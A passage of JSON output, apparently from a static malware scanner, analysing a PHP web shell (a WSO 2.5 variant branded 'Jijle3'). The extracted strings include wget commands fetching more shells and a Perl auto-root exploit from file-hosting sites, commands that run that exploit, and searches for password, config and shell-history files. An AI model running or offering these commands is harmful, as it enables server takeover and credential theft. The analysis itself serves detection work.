"wsoHeader", "wsoFooter", "wsoHeader", "wsoFooter", "wsoHeader", "set_time_limit", "mkdir", "fopen", "fwrite", "basename", "file", "eregi", "preg_match_all", "flush", "strlen", "trim", "posix_getpwuid", "fileowner", "eregi", "eregi", "eregi", "eregi", "eregi", "eregi", "eregi", "eregi", "eregi", "eregi", "flush", "wsoFooter", "wsoHeader", "file", "file", "explode", "posix_getpwuid", "join", "trim", "fopen", "fputs", "fclose", "fopen", "feof", "fgets", "preg_match", "str_replace", "strlen", "strlen", "fclose", "wsoFooter", "wsoHeader", "getClientIp", "wsoFooter", "wsoHeader", "wsoFooter", "wsoHeader", "wsoFooter", "wsoHeader", "file_exists", "fopen", "is_readable", "scandir", "posix_getcwd", "explode", "strpos", "str_replace", "posix_getpwuid", "fileowner", "error_reporting", "cms_add", "cms_add", "cms_add", "cms_add", "cms_add", "cms_add", "cms_add", "cms_add", "cms_add", "cms_add", "cms_add", "cms_add", "file_get_contents", "wsoFooter", "wsoHeader", "mkdir", "chdir", "fopen", "die", "fwrite", "fclose", "fopen", "fwrite", "base64_decode", "fclose", "chmod", "fopen", "fwrite", "base64_decode", "fclose", "chmod", "wsoFooter", "wsoHeader", "wsoFooter", "wsoHeader", "isset", "fopen", "fwrite", "isset", "file", "explode", "error_reporting", "isset", "mkdir", "fopen", "fwrite", "mkdir", "fopen", "fwrite", "explode", "trim", "wsoFooter", "wsoHeader", "array_key_exists", "file_get_contents", "explode", "count", "strtok", "substr", "fopen", "fputs", "fclose", "file", "ini_set", "set_time_limit", "strpos", "fopen", "fputs", "fclose", "fopen", "fputs", "fclose", "unlink", "unlink", "file", "strlen", "file_get_contents", "entre2v2", "entre2v2", "entre2v2", "entre2v2", "entre2v2", "entre2v2", "entre2v2", "entre2v2", "unlink", "explode", "explode", "trim", "wsoFooter", "wsoHeader", "strlen", "replace", "substr", "cURL", "curl_init", "curl_setopt", "curl_setopt", "curl_setopt", "curl_exec", "eregi", "str_replace", "wsoFooetr", "wsoHeader", "set_time_limit", "eregi", "gethostbyname", "gethostbyname", "wsoFooter", "wsoHeader", "wsoFooter", "wsoHeader", "mysql_connect", "mysql_select_db", "mysql_query", "wsoFooter", "wsoHeader", "empty", "mysql_connect", "die", "mysql_error", "mysql_select_db", "die", "mysql_error", "crypt", "mysql_query", "mysql_fetch_array", "mysql_query", "die", "mysql_error", "mysql_query", "die", "mysql_error", "wsoFooter", "wsoHeader", "md5", "explode", "explode", "file_get_contents", "enter", "enter", "enter", "enter", "enter", "preg_match", "mysql_connect", "die", "mysql_select_db", "die", "mysql_error", "mysql_query", "mysql_fetch_array", "mysql_query", "die", "wsoFooter", "wsoHeader", "file_get_contents", "md5", "explode", "explode", "ereg", "ex", "ex", "ex", "ex", "ex", "ex", "ex", "mysql_connect", "die", "mysql_error", "mysql_select_db", "die", "mysql_query", "die", "wsoFooter", "wsoHeader", "empty", "md5", "mysql_connect", "die", "mysql_error", "mysql_select_db", "die", "mysql_error", "mysql_query", "die", "mysql_error", "mysql_query", "die", "mysql_error", "wsoFooter", "wsoHeader", "empty", "mysql_connect", "die", "mysql_error", "mysql_select_db", "die", "mysql_error", "str_replace", "base64_encode", "mysql_query", "die", "mysql_error", "wsoFooter", "wsoHeader", "mkdir", "fopen", "fwrite", "wsoFooter", "wsoHeader", "system", "passthru", "exec", "shell_exec", "posix_getpwuid", "empty", "each", "wsoFooter", "wsoHeader", "shell_exec", "system", "passthru", "exec", "shell_exec", "wsoFooter", "wsoHeader", "set_time_limit", "isset", "get_headers", "eregi", "wsoFooter", "wsoHeader", "implode", "file", "die", "preg_match_all", "array_unique", "count", "posix_getpwuid", "fileowner", "wsoFooter", "wsoHeader", "getcwd", "opendir", "readdir", "fopen", "fwrite", "wsoFooter", "printHeader", "implode", "file", "die", "preg_match_all", "array_unique", "count", "posix_getpwuid", "fileowner", "wsoFooter", "wsoHeader", "ob_start", "get_loaded_extensions", "in_array", "die", "empty", "die", "die", "die", "empty", "die", "explode", "count", "substr", "ZoneH", "wsoFooter", "mysql_connect", "mysql_select_db", "mysql_query", "isset", "md5", "ob_start", "eval", "addcslashes", "htmlspecialchars", "ob_get_clean", "strlen", "isset", "ob_start", "phpinfo", "ob_get_clean", "preg_replace", "preg_replace", "str_replace", "empty", "empty", "md5", "empty", "htmlspecialchars", "empty", "empty", "ob_start", "eval", "htmlspecialchars", "ob_get_clean", "empty", "move_uploaded_file", "mkdir", "substr", "opendir", "readdir", "basename", "basename", "filetype", "deleteDir", "unlink", "closedir", "rmdir", "is_array", "urldecode", "is_dir", "deleteDir", "unlink", "is_dir", "mkdir", "opendir", "readdir", "copy_paste", "is_file", "copy", "copy_paste", "is_dir", "mkdir", "opendir", "readdir", "copy_paste", "is_file", "copy", "rename", "class_exists", "chdir", "is_file", "is_dir", "realpath", "chdir", "class_exists", "chdir", "array_map", "wsoEx", "escapeshellarg", "implode", "chdir", "empty", "urldecode", "scandir", "isset", "empty", "preg_match", "count", "posix_getpwuid", "fileowner", "posix_getgrgid", "filegroup", "date", "filemtime", "wsoPermsColor", "filesize", "fileowner", "filegroup", "is_file", "array_merge", "is_link", "array_merge", "readlink", "is_dir", "array_merge", "strcmp", "strtolower", "strtolower", "usort", "usort", "array_merge", "urlencode", "urlencode", "htmlspecialchars", "htmlspecialchars", "wsoViewSize", "urlencode", "urlencode", "urlencode", "urlencode", "urlencode", "htmlspecialchars", "isset", "class_exists", "empty", "count", "empty", "count", "date", "function_exists", "decbin", "hexdec", "function_exists", "dechex", "bindec", "function_exists", "strLen", "chr", "hexdec", "function_exists", "strlen", "sprintf", "ord", "strtoupper", "function_exists", "strlen", "dechex", "ord", "strtoupper", "isset", "ob_start", "in_array", "addcslashes", "htmlspecialchars", "ob_get_clean", "strlen", "empty", "empty", "htmlspecialchars", "empty", "htmlspecialchars", "empty", "empty", "in_array", "htmlspecialchars", "htmlspecialchars", "substr", "array_unique", "array_merge", "glob", "glob", "is_array", "count", "is_dir", "wsoRecursiveGlob", "strpos", "file_get_contents", "urlencode", "htmlspecialchars", "wsoRecursiveGlob", "isset", "urldecode", "is_file", "is_readable", "ob_start", "header", "basename", "function_exists", "mime_content_type", "header", "header", "fopen", "feof", "fread", "fclose", "file_exists", "fopen", "fclose", "file_exists", "posix_getpwuid", "fileowner", "fileowner", "filegroup", "posix_getgrgid", "filegroup", "htmlspecialchars", "basename", "is_file", "wsoViewSize", "filesize", "wsoPermsColor", "date", "filectime", "date", "fileatime", "date", "filemtime", "empty", "is_file", "strtolower", "strtolower", "fopen", "feof", "htmlspecialchars", "fread", "fclose", "is_readable", "highlight_file", "str_replace", "empty", "strlen", "pow", "strlen", "chmod", "clearstatcache", "substr", "sprintf", "fileperms", "is_writable", "empty", "filemtime", "substr", "fopen", "fwrite", "fclose", "touch", "fopen", "feof", "htmlspecialchars", "fread", "fclose", "file_get_contents", "strlen", "sprintf", "ord", "ord", "sprintf", "htmlspecialchars", "empty", "rename", "die", "urlencode", "htmlspecialchars", "empty", "strtotime", "touch", "clearstatcache", "date", "filemtime", "ob_start", "tempnam", "copy", "file_get_contents", "unlink", "glob", "is_array", "curl_init", "preg_replace", "curl_exec", "ini_restore", "ini_restore", "posix_getpwuid", "join", "ob_get_clean", "htmlspecialchars", "empty", "isset", "ob_start", "iconv", "addcslashes", "wsoEx", "preg_match", "chdir", "getcwd", "ob_get_clean", "strlen", "htmlspecialchars", "htmlspecialchars", "htmlspecialchars", "wsoEx", "session_destroy", "die", "unlink", "preg_replace", "die", "isset", "htmlspecialchars", "htmlspecialchars", "ftp_connect", "ftp_login", "ftp_close", "mysql_connect", "mysql_close", "pg_connect", "pg_close", "explode", "file", "is_array", "explode", "bruteForce", "htmlspecialchars", "htmlspecialchars", "strlen", "bruteForce", "file", "is_array", "trim", "bruteForce", "mysql_connect", "explode", "pg_connect", "mysql_select_db", "mysql_query", "pg_query", "func_num_args", "func_get_arg", "mysql_fetch_assoc", "pg_fetch_assoc", "mysql_error", "pg_last_error", "function_exists", "mysql_set_charset", "pg_set_client_encoding", "addslashes", "addslashes", "implode", "mysql_fetch_array", "fwrite", "is_numeric", "mysql_real_escape_string", "implode", "implode", "implode", "fwrite", "fwrite", "addslashes", "implode", "implode", "fwrite", "ob_start", "header", "header", "fopen", "fclose", "die", "isset", "isset", "each", "addslashes", "isset", "each", "ceil", "reset", "nl2br", "isset", "fopen", "function_exists", "fwrite", "base64_decode", "fclose", "cf", "wsoEx", "sleep", "wsoEx", "unlink", "cf", "wsoEx", "sleep", "wsoEx", "unlink", "php_uname", "phpversion", "ini_get", "serialize", "eval", "isset", "function_exists", "function_exists", "call_user_func", "headers_sent", "base64_decode" ], "ms": { "file": { "size": 213062.0 }, "text": { "tab_count": 8.0, "digit_ratio": 0.06, "space_count": 41243.0, "total_lines": 3118.0, "char_entropy": 5.46, "mixed_indent": true, "unique_chars": 98.0, "escape_density": 0.0, "import_density": 32.58, "lines_over_200": 77.0, "lines_over_500": 35.0, "string_density": 2.14, "ascii_art_lines": 33.0, "avg_line_length": 67.18, "lines_over_1000": 17.0, "max_line_length": 27600.0, "empty_line_ratio": 0.01, "last_line_length": 1.0, "long_token_count": 22.0, "most_common_char": "e", "whitespace_ratio": 0.21, "most_common_ratio": 0.04, "identifier_density": 1.28, "line_length_stddev": 532.05, "octal_escape_count": 4.0, "encoded_string_ratio": 0.0, "normalized_import_count": 18.2, "normalized_string_count": 119.74, "repeated_char_sequences": 1252.0, "suspicious_string_ratio": 0.03, "suspicious_comment_ratio": 0.03, "max_inline_whitespace_run": 20.0, "normalized_function_count": 1.61, "trailing_whitespace_lines": 45.0, "imports_to_functions_ratio": 11.29, "strings_to_functions_ratio": 74.29, "suspicious_identifier_ratio": 0.05, "normalized_unique_identifiers": 48.16, "identifiers_to_functions_ratio": 6.21 }, "imports": { "total": 1016.0, "unique_modules": 202.0, "third_party_count": 1016.0, "third_party_ratio": 1.0 }, "strings": { "total": 6686.0, "url_count": 12.0, "avg_length": 32.11, "max_length": 27604.0, "path_count": 696.0, "avg_entropy": 2.48, "email_count": 2.0, "sql_strings": 35.0, "total_bytes": 214719.0, "entropy_stddev": 1.27, "base64_candidates": 4.0, "very_long_strings": 17.0, "high_entropy_count": 41.0, "url_encoded_strings": 2.0, "shell_command_strings": 94.0, "embedded_code_candidates": 58.0 }, "comments": { "chars": 827.0, "lines": 28.0, "total": 30.0, "hack_count": 1.0, "fixme_count": 1.0, "to_code_ratio": 0.01, "empty_comments": 2.0, "url_in_comments": 1.0, "high_entropy_comments": 1.0 }, "functions": { "total": 90.0, "length_stddev": 53.37, "over_100_lines": 5.0, "avg_name_length": 10.4, "no_params_count": 90.0, "avg_length_lines": 37.66, "max_length_lines": 380.0, "min_length_lines": 4.0, "avg_nesting_depth": 0.34, "max_nesting_depth": 1.0, "high_entropy_names": 6.0, "numeric_suffix_names": 1.0, "density_per_100_lines": 2.89, "code_in_functions_ratio": 1.09 }, "identifiers": { "total": 3996.0, "avg_length": 7.74, "max_length": 26.0, "min_length": 1.0, "avg_entropy": 2.43, "reuse_ratio": 0.14, "unique_count": 559.0, "length_stddev": 4.38, "has_digit_ratio": 0.09, "sequential_names": 26.0, "single_char_count": 20.0, "single_char_ratio": 0.04, "high_entropy_count": 17.0, "high_entropy_ratio": 0.03, "all_lowercase_ratio": 0.78, "all_uppercase_ratio": 0.03, "numeric_suffix_count": 43.0, "underscore_prefix_count": 5.0 } }, "ss": [ [ 65, "\u003ch3\u003eThis script has been expired.\u003c/h3\u003e\u003cp\u003eThe script was encrypted using the free trial version of PHP Protector. Files encrypted" ], [ 66, "\u003ch3\u003eThis script has been expired.\u003c/h3\u003e\u003cp\u003eThe script was encrypted using the free trial version of PHP Protector. Files encrypted" ], [ 277, "error_log" ], [ 278, "error_log" ], [ 306, "log_errors" ], [ 307, "log_errors" ], [ 333, "max_execution_time" ], [ 334, "max_execution_time" ], [ 417, "WSO_VERSION" ], [ 418, "WSO_VERSION" ], [ 432, "2.5" ], [ 433, "2.5" ], [ 557, "WSOstripslashes" ], [ 558, "WSOstripslashes" ], [ 726, "\u003cpre align=center\u003e\u003cform method=post\u003ePassword: \u003cinput type=Password name=pass\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003c/pre\u003e" ], [ 727, "\u003cpre align=center\u003e\u003cform method=post\u003ePassword: \u003cinput type=Password name=pass\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003c/pre\u003e" ], [ 980, "pass" ], [ 981, "pass" ], [ 1003, "pass" ], [ 1004, "pass" ], [ 1063, "HTTP_HOST" ], [ 1064, "HTTP_HOST" ], [ 1134, "HTTP_HOST" ], [ 1135, "HTTP_HOST" ], [ 1175, "HTTP_HOST" ], [ 1176, "HTTP_HOST" ], [ 1275, "win" ], [ 1276, "win" ], [ 1294, "win" ], [ 1295, "win" ], [ 1320, "nix" ], [ 1321, "nix" ], [ 1351, "safe_mode" ], [ 1352, "safe_mode" ], [ 1440, "disable_functions" ], [ 1441, "disable_functions" ], [ 1502, "c" ], [ 1503, "c" ], [ 1529, "c" ], [ 1530, "c" ], [ 1567, "win" ], [ 1568, "win" ], [ 1604, "\\\\" ], [ 1610, "/" ], [ 1611, "/" ], [ 1650, "\\\\" ], [ 1656, "/" ], [ 1657, "/" ], [ 1700, "/" ], [ 1701, "/" ], [ 1719, "/" ], [ 1720, "/" ], [ 1759, "HTTP_HOST" ], [ 1760, "HTTP_HOST" ], [ 1775, "ajax" ], [ 1776, "ajax" ], [ 1813, "HTTP_HOST" ], [ 1814, "HTTP_HOST" ], [ 1829, "ajax" ], [ 1830, "ajax" ], [ 1878, "win" ], [ 1879, "win" ], [ 1908, "List Directory" ], [ 1909, "List Directory" ], [ 1928, "dir" ], [ 1929, "dir" ], [ 1935, "Find index.php in current dir" ], [ 1936, "Find index.php in current dir" ], [ 1970, "dir /s /w /b index.php" ], [ 1971, "dir /s /w /b index.php" ], [ 1996, "Find *config*.php in current dir" ], [ 1997, "Find *config*.php in current dir" ], [ 2034, "dir /s /w /b *config*.php" ], [ 2035, "dir /s /w /b *config*.php" ], [ 2063, "Show active connections" ], [ 2064, "Show active connections" ], [ 2092, "netstat -an" ], [ 2093, "netstat -an" ], [ 2107, "Show running services" ], [ 2108, "Show running services" ], [ 2134, "net start" ], [ 2135, "net start" ], [ 2147, "User accounts" ], [ 2148, "User accounts" ], [ 2166, "net user" ], [ 2167, "net user" ], [ 2178, "Show computers" ], [ 2179, "Show computers" ], [ 2198, "net view" ], [ 2199, "net view" ], [ 2210, "ARP Table" ], [ 2211, "ARP Table" ], [ 2225, "arp -a" ], [ 2226, "arp -a" ], [ 2235, "IP Configuration" ], [ 2236, "IP Configuration" ], [ 2257, "ipconfig /all" ], [ 2258, "ipconfig /all" ], [ 2305, "List dir" ], [ 2306, "List dir" ], [ 2319, "ls -lha" ], [ 2320, "ls -lha" ], [ 2330, "list file attributes on a Linux second extended file system" ], [ 2331, "list file attributes on a Linux second extended file system" ], [ 2395, "lsattr -va" ], [ 2396, "lsattr -va" ], [ 2409, "show opened ports" ], [ 2410, "show opened ports" ], [ 2432, "netstat -an | grep -i listen" ], [ 2433, "netstat -an | grep -i listen" ], [ 2464, "process status" ], [ 2465, "process status" ], [ 2484, "ps aux" ], [ 2485, "ps aux" ], [ 2494, "Jijle3 : Get Nother Shells" ], [ 2495, "Jijle3 : Get Nother Shells" ], [ 2530, "Dhanush Shell | pass:Jijle3" ], [ 2531, "Dhanush Shell | pass:Jijle3" ], [ 2569, "wget http://rghost.net/download/7B6kqmyYj/3b84a7fef8febc6cf18d652223d4697797bccae2/dhanush.zip ; unzip dhanush.zip" ], [ 2570, "wget http://rghost.net/download/7B6kqmyYj/3b84a7fef8febc6cf18d652223d4697797bccae2/dhanush.zip ; unzip dhanush.zip" ], [ 2687, "K2ll33d Shell " ], [ 2688, "K2ll33d Shell " ], [ 2713, "wget http://rghost.net/download/86BFhr2vq/16867e2921650f8215133a65e512638054f79a3b/kil223dd.zip ; unzip kil223dd.zip" ], [ 2714, "wget http://rghost.net/download/86BFhr2vq/16867e2921650f8215133a65e512638054f79a3b/kil223dd.zip ; unzip kil223dd.zip" ], [ 2833, "1n73ction Shell | pass:1n73ction " ], [ 2834, "1n73ction Shell | pass:1n73ction " ], [ 2874, "wget http://rghost.net/download/85jlz7zBD/7da509e6fe997f6c91933ebd56d78b2ba5f57281/1n73ction.zip ; unzip 1n73ction.zip" ], [ 2875, "wget http://rghost.net/download/85jlz7zBD/7da509e6fe997f6c91933ebd56d78b2ba5f57281/1n73ction.zip ; unzip 1n73ction.zip" ], [ 2996, "Cyber Shell | pass:Jijle3" ], [ 2997, "Cyber Shell | pass:Jijle3" ], [ 3037, "wget http://rghost.net/download/6WfcL8QGm/72050d9b869a35adaab9daefebb602e97d760287/cyb3.zip ; unzip cyb3.zip" ], [ 3038, "wget http://rghost.net/download/6WfcL8QGm/72050d9b869a35adaab9daefebb602e97d760287/cyb3.zip ; unzip cyb3.zip" ], [ 3149, "Jijle3 : Some Commonds" ], [ 3150, "Jijle3 : Some Commonds" ], [ 3181, "Logged in users" ], [ 3182, "Logged in users" ], [ 3202, "w" ], [ 3203, "w" ], [ 3207, "Last to connect" ], [ 3208, "Last to connect" ], [ 3228, "lastlog" ], [ 3229, "lastlog" ], [ 3239, "IP Addresses" ], [ 3240, "IP Addresses" ], [ 3257, "cat /etc/hosts" ], [ 3258, "cat /etc/hosts" ], [ 3275, "Check MMAP" ], [ 3276, "Check MMAP" ], [ 3291, "cat /proc/sys/vm/mmap_min_addr" ], [ 3292, "cat /proc/sys/vm/mmap_min_addr" ], [ 3325, "USER WITHOUT PASSWORD!" ], [ 3326, "USER WITHOUT PASSWORD!" ], [ 3353, "cut -d: -f1,2,3 /etc/passwd | grep ::" ], [ 3354, "cut -d: -f1,2,3 /etc/passwd | grep ::" ], [ 3394, "List of Cpanel`s domains(valiases)" ], [ 3395, "List of Cpanel`s domains(valiases)" ], [ 3434, "ls -l /etc/valiases" ], [ 3435, "ls -l /etc/valiases" ], [ 3457, "Downloaders?)" ], [ 3458, "Downloaders?)" ], [ 3476, "which wget curl w3m lynx" ], [ 3477, "which wget curl w3m lynx" ], [ 3504, "Show running proccess" ], [ 3505, "Show running proccess" ], [ 3531, "ps aux" ], [ 3532, "ps aux" ], [ 3541, "Memory check" ], [ 3542, "Memory check" ], [ 3559, "cat /proc/meminfo" ], [ 3560, "cat /proc/meminfo" ], [ 3580, "Get cpanel logs" ], [ 3581, "Get cpanel logs" ], [ 3601, "cat /var/cpanel/accounting.log" ], [ 3602, "cat /var/cpanel/accounting.log" ], [ 3635, "Jijle3 : Auto Root Commonds" ], [ 3636, "Jijle3 : Auto Root Commonds" ], [ 3672, "First ! : GET Auto Root File [ Perl ]" ], [ 3673, "First ! : GET Auto Root File [ Perl ]" ], [ 3715, "wget http://download944.mediafire.com/5fi1yfk5ttcg/u4seoaw7ze1dio0/phdz.pl.zip ; unzip phdz.pl.zip " ], [ 3716, "wget http://download944.mediafire.com/5fi1yfk5ttcg/u4seoaw7ze1dio0/phdz.pl.zip ; unzip phdz.pl.zip " ], [ 3818, "AutoRoot [ Linux ]" ], [ 3819, "AutoRoot [ Linux ]" ], [ 3842, "chmod 777 phdz.pl ; perl phdz.pl linux" ], [ 3843, "chmod 777 phdz.pl ; perl phdz.pl linux" ], [ 3884, "AutoRoot [ FreeBSD ]" ], [ 3885, "AutoRoot [ FreeBSD ]" ], [ 3910, "chmod 777 phdz.pl ; perl phdz.pl bsd" ], [ 3911, "chmod 777 phdz.pl ; perl phdz.pl bsd" ], [ 3950, "AutoRoot [ SunOS ]" ], [ 3951, "AutoRoot [ SunOS ]" ], [ 3974, "chmod 777 phdz.pl ; perl phdz.pl sunos" ], [ 3975, "chmod 777 phdz.pl ; perl phdz.pl sunos" ], [ 4016, "Find" ], [ 4017, "Find" ], [ 4030, "find all suid files" ], [ 4031, "find all suid files" ], [ 4055, "find / -type f -perm -04000 -ls" ], [ 4056, "find / -type f -perm -04000 -ls" ], [ 4090, "find suid files in current dir" ], [ 4091, "find suid files in current dir" ], [ 4126, "find . -type f -perm -04000 -ls" ], [ 4127, "find . -type f -perm -04000 -ls" ], [ 4161, "find all sgid files" ], [ 4162, "find all sgid files" ], [ 4186, "find / -type f -perm -02000 -ls" ], [ 4187, "find / -type f -perm -02000 -ls" ], [ 4221, "find sgid files in current dir" ], [ 4222, "find sgid files in current dir" ], [ 4257, "find . -type f -perm -02000 -ls" ], [ 4258, "find . -type f -perm -02000 -ls" ], [ 4292, "find config.inc.php files" ], [ 4293, "find config.inc.php files" ], [ 4323, "find / -type f -name config.inc.php" ], [ 4324, "find / -type f -name config.inc.php" ], [ 4362, "find config* files" ], [ 4363, "find config* files" ], [ 4386, "find / -type f -name \\\"config*\\" ], [ 4387, "find / -type f -name " ], [ 4410, "config*" ], [ 4422, "find config* files in current dir" ], [ 4423, "find config* files in current dir" ], [ 4461, "find . -type f -name \\\"config*\\" ], [ 4462, "find . -type f -name " ], [ 4485, "config*" ], [ 4497, "find all writable folders and files" ], [ 4498, "find all writable folders and files" ], [ 4538, "find / -perm -2 -ls" ], [ 4539, "find / -perm -2 -ls" ], [ 4561, "find all writable folders and files in current dir" ], [ 4562, "find all writable folders and files in current dir" ], [ 4617, "find . -perm -2 -ls" ], [ 4618, "find . -perm -2 -ls" ], [ 4640, "find all service.pwd files" ], [ 4641, "find all service.pwd files" ], [ 4672, "find / -type f -name service.pwd" ], [ 4673, "find / -type f -name service.pwd" ], [ 4708, "find service.pwd files in current dir" ], [ 4709, "find service.pwd files in current dir" ], [ 4751, "find . -type f -name service.pwd" ], [ 4752, "find . -type f -name service.pwd" ], [ 4787, "find all .htpasswd files" ], [ 4788, "find all .htpasswd files" ], [ 4817, "find / -type f -name .htpasswd" ], [ 4818, "find / -type f -name .htpasswd" ], [ 4851, "find .htpasswd files in current dir" ], [ 4852, "find .htpasswd files in current dir" ], [ 4892, "find . -type f -name .htpasswd" ], [ 4893, "find . -type f -name .htpasswd" ], [ 4926, "find all .bash_history files" ], [ 4927, "find all .bash_history files" ], [ 4960, "find / -type f -name .bash_history" ], [ 4961, "find / -type f -name .bash_history" ], [ 4998, "find .bash_history files in current dir" ], [ 4999, "find .bash_history files in current dir" ], [ 5043, "find . -type f -name .bash_history" ], [ 5044, "find . -type f -name .bash_history" ] ], "sz": 213062, "ts": [ { "c": 0.8500000238418579, "d": "ActiveXObject usage (JScript/VBScript)", "e": [ "ActiveXObject(" ], "i": "objectives/command-and-control/dropper/builder::activex-object-dup", "l": 1 }, { "a": "T1555", "c": 0.8500000238418579, "d": "Regex component marker", "e": [ "encoded" ], "i": "objectives/credential-access/wallet/solana::solana-secretkey-json-field--rx-11", "l": 1 }, { "a": "T1071.001", "c": 0.6000000238418579, "d": "WebSocket sends data to peer", "e": [ ".send(" ], "i": "micro-behaviors/communications/websocket/server::websocket-send", "l": 3, "m": "C0002" }, { "c": 1.0, "d": "Regex component marker", "e": [ "d = document;", "onreadystatechange = processReqChange;" ], "i": "micro-behaviors/process/create/shell/injection::iot-param-injection-cond-2--inline-3976", "l": 1 }, { "c": 0.800000011920929, "d": "Very short file (under 12 lines)", "e": [ "text.total_lines = 1.00" ], "i": "metadata/file/text/metrics::file-under-12-lines", "l": 1 }, { "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "lica" ], "i": "objectives/execution/interpreter/scripting/host::shell-application-split-join--rx-5", "l": 1 }, { "c": 0.8999999761581421, "d": "Very long line", "e": [ "text.max_line_length = 807.00", "text.max_line_length = 1172.00" ], "i": "metadata/file/text/metrics::single-long-line", "l": 1 }, { "a": "T1105", "c": 0.8500000238418579, "d": "ClickFix copy-paste action word", "e": [ "open" ], "i": "objectives/command-and-control/dropper/execution/browser::clickfix-lure-action-word", "l": 1, "m": "B0024" }, { "c": 1.0, "d": "DOM or CSS size property", "e": [ "width" ], "i": "micro-behaviors/ui/window/manage/dom::size-prop", "l": 1 }, { "a": "T1105", "c": 0.8500000238418579, "d": "Regex component marker", "e": [ "body" ], "i": "objectives/command-and-control/dropper/delivery/fetch-eval::new-function-variable-body--rx-7", "l": 1 }, { "c": 1.0, "d": "ActiveXObject string presence", "e": [ "ActiveXObject" ], "i": "micro-behaviors/process/interpreter/jscript::activex-object", "l": 3 }, { "c": 0.949999988079071, "d": "Network primitive in flatted-shaped file", "e": [ "XMLHttpRequest" ], "i": "well-known/lib/flatted::flatted-tamper-network", "l": 1 }, { "a": "T1071.001", "c": 0.699999988079071, "d": "HTTP POST method", "e": [ "'POST'" ], "i": "micro-behaviors/communications/http/post::post", "l": 1, "m": "C0002" }, { "c": 0.6000000238418579, "d": "Generates HTML tags", "e": [ "\u003chead\u003e" ], "i": "micro-behaviors/data/format/html::html-generator-tags", "l": 3 }, { "a": "T1071.001", "c": 0.699999988079071, "d": "application/x-www-form-urlencoded content type", "e": [ "application/x-www-form-urlencoded" ], "i": "micro-behaviors/communications/http/post::url-encoded-content-type", "l": 1, "m": "C0002" }, { "a": "T1202", "c": 0.800000011920929, "d": "new ActiveXObject pattern", "e": [ "new ActiveXObject(" ], "i": "objectives/execution/activex/com::activex-object-create-literal", "l": 3, "m": "E1243" }, { "c": 0.949999988079071, "d": "File is a one-liner", "e": [ "text.total_lines = 1.00" ], "i": "metadata/file/text/metrics::file-one-liner", "l": 1 }, { "a": "T1195.002", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "display" ], "i": "objectives/supply-chain/hidden-payload/extensions/browser::hidden-zero-iframe--rx-2", "l": 1 }, { "a": "T1059", "c": 0.800000011920929, "d": "child_process exec reference", "e": [ "exec(" ], "i": "objectives/command-and-control/reverse-shell/socket::exec-function", "l": 1 }, { "c": 1.0, "d": "ADODB.Stream Open method call", "e": [ ".open(" ], "i": "micro-behaviors/fs/write/stream::adodb-open", "l": 1 }, { "a": "T1552.001,T1082,T1041", "c": 0.9399999976158142, "d": "Regex component marker", "e": [ "error" ], "i": "objectives/supply-chain/recon-exfil/npm::console-output-silenced--rx-3", "l": 1 }, { "a": "T1195.002", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "none" ], "i": "objectives/supply-chain/hidden-payload/extensions/browser::hidden-zero-iframe--rx-7", "l": 1 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Last line is over 1000 chars", "e": [ "text.last_line_length = 1172.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::last-line-over-1000", "l": 1, "m": "B0032" }, { "a": "T1059.007", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "send" ], "i": "objectives/command-and-control/remote-command/protocol::websocket-host-env-send--rx-12", "l": 1 }, { "a": "T1071.001", "c": 0.75, "d": "XMLHttpRequest network client creation", "e": [ "new XMLHttpRequest()" ], "i": "micro-behaviors/communications/http/request/client::xmlhttprequest-new", "l": 3, "m": "C0002" }, { "a": "T1059.007", "c": 0.8999999761581421, "d": "XMLHTTP status 200 check", "e": [ "req.status == 200" ], "i": "objectives/command-and-control/dropper/execution/string-reconstruct::xmlhttp-status-200-check", "l": 1 }, { "c": 0.8999999761581421, "d": "ActiveXObject instantiation call", "e": [ "new ActiveXObject(" ], "i": "objectives/execution/interpreter/script/wsh::activexobject-call", "l": 1 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Exactly one line exceeds 1000 chars", "e": [ "text.lines_over_1000 = 1.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier", "l": 1, "m": "B0032" }, { "c": 0.8999999761581421, "d": "Tiny JavaScript sidecar loader", "e": [ "text.total_lines = 1.00" ], "i": "objectives/supply-chain/hidden-payload/encoding::tiny-loader-lines", "l": 1 }, { "c": 0.800000011920929, "d": "Short sidecar-sized source", "e": [ "text.total_lines = 1.00" ], "i": "metadata/package/config::short-sidecar-file", "l": 1 }, { "a": "T1552.001,T1082,T1041", "c": 0.9399999976158142, "d": "Regex component marker", "e": [ "Content-Type" ], "i": "objectives/supply-chain/recon-exfil/npm::npm-profile-json-post--rx-21", "l": 1 }, { "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "crip" ], "i": "objectives/execution/interpreter/scripting/host::wscript-shell-split-join--rx-2", "l": 1 }, { "c": 0.699999988079071, "d": "Access to HTTP response body (.responseText)", "e": [ ".responseText" ], "i": "micro-behaviors/communications/http/client/response-body::response-text", "l": 3 }, { "a": "T1027", "c": 0.8500000238418579, "d": "High function density", "e": [ "functions.density_per_100_lines = 100.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/functions::high-function-density", "l": 2, "m": "B0032" }, { "c": 1.0, "d": "Tiny XMLHTTP fragment (variant 2)", "e": [ ".XMLHT" ], "i": "objectives/execution/interpreter/script/wsh-fragments::xmlhttp-fragment-tiny-2", "l": 1 }, { "c": 0.699999988079071, "d": "eval() function call (raw)", "e": [ "eval" ], "i": "micro-behaviors/process/interpreter/eval::js-eval-raw", "l": 3 }, { "c": 0.699999988079071, "d": "Small file under 5KB", "e": [ "f3.php##plain@0x2415", "f3.php##plain@0x20c1" ], "i": "objectives/supply-chain/metadata-anomaly/package/npm::small-file-5k", "l": 1 }, { "a": "T1059.007", "c": 0.8999999761581421, "d": "eval() with call expression argument", "e": [ "arr[2].substr(0, arr[1])", "eval" ], "i": "objectives/execution/interpreter/eval/dynamic::eval-call-expression-arg", "l": 3 }, { "c": 0.4000000059604645, "d": "XMLHttpRequest API reference", "e": [ "XMLHttpRequest" ], "i": "micro-behaviors/communications/http/request/client::xmlhttprequest-word", "l": 3 }, { "a": "T1059.007", "c": 0.9399999976158142, "d": "eval() executing transformed code", "e": [ "arr[2].substr(0, arr[1])", "eval", "eval" ], "i": 